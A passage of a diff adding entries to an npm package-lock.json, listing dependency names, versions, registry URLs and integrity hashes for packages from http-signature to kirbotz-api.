"https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-readable": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/human-readable/-/human-readable-0.2.1.tgz", + "integrity": "sha512-uFtz4WZlB1M5xI45MZ5AjyAzfrrgLOdty4363Jd0LQ5NGXa+UiKaD0EQXQeDfCinodrpePFk/vKjzBlDTZdZQQ==" + }, + "node_modules/human-time": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/human-time/-/human-time-0.0.2.tgz", + "integrity": "sha512-sbYI90YhYmstslPTb70BLGjy6mdESa0lxL7uDR4fIVAx9Iobz8fLEqi7FqF4Q/6vblrzZALg//MsYJlIPBU8SA==" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/ignore-by-default": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ignore-by-default/-/ignore-by-default-1.0.1.tgz", + "integrity": "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==" + }, + "node_modules/image-q": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/image-q/-/image-q-4.0.0.tgz", + "integrity": "sha512-PfJGVgIfKQJuq3s0tTDOKtztksibuUEbJQIYT3by6wctQo+Rdlh7ef4evJ5NCdxY4CfMbvFkocEwbl4BF8RlJw==", + "dependencies": { + "@types/node": "16.9.1" + } + }, + "node_modules/image-q/node_modules/@types/node": { + "version": "16.9.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.9.1.tgz", + "integrity": "sha512-QpLcX9ZSsq3YYUUnD3nFDY8H7wctAhQj/TFKL8Ya8v5fMm3CFXxo8zStsLAl780ltoYoo1WvKUVGBQK+1ifr7g==" + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "node_modules/insta-fetcher": { + "version": "1.3.26", + "resolved": "https://registry.npmjs.org/insta-fetcher/-/insta-fetcher-1.3.26.tgz", + "integrity": "sha512-KtmUaClyn2ekNJDT8TycYiOr49a+DAZVJ4AIPPhgraUygbeqUsg02EcfIBIUxh7e9uhlzLohLS2j4Me3pOZpdg==", + "dependencies": { + "axios": "^0.27.2", + "big-integer": "^1.6.51", + "form-data": "^4.0.0" + } + }, + "node_modules/insta-fetcher/node_modules/axios": { + "version": "0.27.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.27.2.tgz", + "integrity": "sha512-t+yRIyySRTp/wua5xEr+z1q60QmLq8ABsS5O9Me1AsE5dfKqgnCFzwiCZZ/cGNd1lq4/7akDWMxdhVlucjmnOQ==", + "dependencies": { + "follow-redirects": "^1.14.9", + "form-data": "^4.0.0" + } + }, + "node_modules/inversify": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/inversify/-/inversify-6.0.1.tgz", + "integrity": "sha512-B3ex30927698TJENHR++8FfEaJGqoWOgI6ZY5Ht/nLUsFCwHn6akbwtnUAPCgUepAnTpe2qHxhDNjoKLyz6rgQ==" + }, + "node_modules/ip": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.8.tgz", + "integrity": "sha512-PuExPYUiu6qMBQb4l06ecm6T6ujzhmh+MeJcW9wa89PoAz5pvd4zPgN5WJV104mb6S2T1AwNIAaB70JNrLQWhg==" + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==" + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz", + "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-function": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-function/-/is-function-1.0.2.tgz", + "integrity": "sha512-lw7DUp0aWXYg+CBCN+JKkcE0Q2RayZnSvnZBlwgxHBQhqt5pZNVy4Ri7H9GmmXkdu7LUthszM+Tor1u/2iBcpQ==" + }, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-nan": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", + "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==", + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==" + }, + "node_modules/is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==" + }, + "node_modules/is-typed-array": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", + "dependencies": { + "which-typed-array": "^1.1.11" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==" + }, + "node_modules/javascript-natural-sort": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/javascript-natural-sort/-/javascript-natural-sort-0.7.1.tgz", + "integrity": "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw==" + }, + "node_modules/javascript-obfuscator": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/javascript-obfuscator/-/javascript-obfuscator-4.0.2.tgz", + "integrity": "sha512-MRBQREvjEwqEGdwNGG7yp0te5uZBFzrPZdxEs4rDYkPpHhhOQu+E0IhSXP7bO9dIUWXZU0Kkdohsuws525aVGQ==", + "hasInstallScript": true, + "dependencies": { + "@javascript-obfuscator/escodegen": "2.3.0", + "@javascript-obfuscator/estraverse": "5.4.0", + "acorn": "8.8.2", + "assert": "2.0.0", + "chalk": "4.1.2", + "chance": "1.1.9", + "class-validator": "0.14.0", + "commander": "10.0.0", + "eslint-scope": "7.1.1", + "eslint-visitor-keys": "3.3.0", + "fast-deep-equal": "3.1.3", + "inversify": "6.0.1", + "js-string-escape": "1.0.1", + "md5": "2.3.0", + "mkdirp": "2.1.3", + "multimatch": "5.0.0", + "opencollective-postinstall": "2.0.3", + "process": "0.11.10", + "reflect-metadata": "0.1.13", + "source-map-support": "0.5.21", + "string-template": "1.0.0", + "stringz": "2.1.0", + "tslib": "2.5.0" + }, + "bin": { + "javascript-obfuscator": "bin/javascript-obfuscator" + }, + "engines": { + "node": "^12.22.0 || ^14.0.0 || ^16.0.0 || ^17.0.0 || >=18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/javascript-obfuscator" + } + }, + "node_modules/jimp": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/jimp/-/jimp-0.16.13.tgz", + "integrity": "sha512-Bxz8q7V4rnCky9A0ktTNGA9SkNFVWRHodddI/DaAWZJzF7sVUlFYKQ60y9JGqrKpi48ECA/TnfMzzc5C70VByA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/custom": "^0.16.13", + "@jimp/plugins": "^0.16.13", + "@jimp/types": "^0.16.13", + "regenerator-runtime": "^0.13.3" + } + }, + "node_modules/jpeg-js": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/jpeg-js/-/jpeg-js-0.4.4.tgz", + "integrity": "sha512-WZzeDOEtTOBK4Mdsar0IqEU5sMr3vSV2RqkAIzUEV2BHnUfKGyswWFPFwK5EeDo93K3FohSHbLAjj0s1Wzd+dg==" + }, + "node_modules/js-git": { + "version": "0.7.8", + "resolved": "https://registry.npmjs.org/js-git/-/js-git-0.7.8.tgz", + "integrity": "sha512-+E5ZH/HeRnoc/LW0AmAyhU+mNcWBzAKE+30+IDMLSLbbK+Tdt02AdkOKq9u15rlJsDEGFqtgckc8ZM59LhhiUA==", + "dependencies": { + "bodec": "^0.1.0", + "culvert": "^0.1.2", + "git-sha1": "^0.1.2", + "pako": "^0.2.5" + } + }, + "node_modules/js-git/node_modules/pako": { + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", + "integrity": "sha512-NUcwaKxUxWrZLpDG+z/xZaCgQITkA/Dv4V/T6bw7VON6l1Xz/VnrBqrYjZQ12TamKHzITTfOEIYUj48y2KXImA==" + }, + "node_modules/js-string-escape": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/js-string-escape/-/js-string-escape-1.0.1.tgz", + "integrity": "sha512-Smw4xcfIQ5LVjAOuJCvN/zIodzA/BBSsluuoSykP+lUvScIi4U6RJLfwHet5cxFnCswUjISV8oAXaqaJDY3chg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==" + }, + "node_modules/jsdom": { + "version": "16.7.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz", + "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.2.4", + "acorn-globals": "^6.0.0", + "cssom": "^0.4.4", + "cssstyle": "^2.3.0", + "data-urls": "^2.0.0", + "decimal.js": "^10.2.1", + "domexception": "^2.0.1", + "escodegen": "^2.0.0", + "form-data": "^3.0.0", + "html-encoding-sniffer": "^2.0.1", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^2.0.0", + "webidl-conversions": "^6.1.0", + "whatwg-encoding": "^1.0.5", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.5.0", + "ws": "^7.4.6", + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsdom/node_modules/form-data": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/jsdom/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/jsdom/node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/jsdon": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/jsdon/-/jsdon-0.1.15.tgz", + "integrity": "sha512-3ZrE0EfFIJVgCggM3H81xN7KN8BLWmiYiSSErMKo5w6xJUi0JkdbOQs3lQ8cPBcF01JAIIve7JqXfJHLFbifPg==" + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==" + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonpath-plus": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-5.0.7.tgz", + "integrity": "sha512-7TS6wsiw1s2UMK/A6nA4n0aUJuirCVhJ87nWX5je5MPOl0z5VTr2qs7nMP8NZ2ed3rlt6kePTqddgVPE9F0i0w==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/jsprim": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz", + "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/kareem": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.5.1.tgz", + "integrity": "sha512-7jFxRVm+jD+rkq3kY0iZDJfsO2/t4BBPeEb2qKn2lR/9KhuksYk5hxzfRYWMPV8P/x2d0kHD306YyWLzjjH+uA==", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/keypress": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/keypress/-/keypress-0.2.1.tgz", + "integrity": "sha512-HjorDJFNhnM4SicvaUXac0X77NiskggxJdesG72+O5zBKpSqKFCrqmndKVqpu3pFqkla0St6uGk8Ju0sCurrmg==" + }, + "node_modules/keyv": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", + "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/kirbotz-api": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/kirbotz-api/-/kirbotz-api-0.0.2.tgz", + "integrity": "sha512-i5Oj8YwcbZ3ALx2vd+H6+a0RhvQV8qNwkj6ZJ8ADJiS2CvNQzhY26UhLvfe4ten/pIqb0ZcVB9acrBoqDYE+Bw==", + "dependencies": { + "axios": "^0.21.1", + "cheerio": "^1.0.0-rc.10", + "file-type": "^16.5.3", + "form-data": "^4.0.0", + "fs": "0.0.1-security", + "got": "^11.8.3", + "jsdom": "^18.1.1", + "node-fetch": "^2.6.1", + "request": "^2.88.2", + "util": "^0.12.4", + "yt-search": "^2.10.2", + "ytdl-core": "^4.11.0" + } + }, + "node_modules/kirbotz-api/node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/kirbotz-api/node_modules/axios": { + "version": "0.21.4", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", + "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", + "dependencies": { + "follow-redirects": "^1.14.0" + } + }, + "node_modules/kirbotz-api/node_modules/cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==" + }, + "node_modules/kirbotz-api/node_modules/data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/data-urls/node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", + "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/kirbotz-api/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": 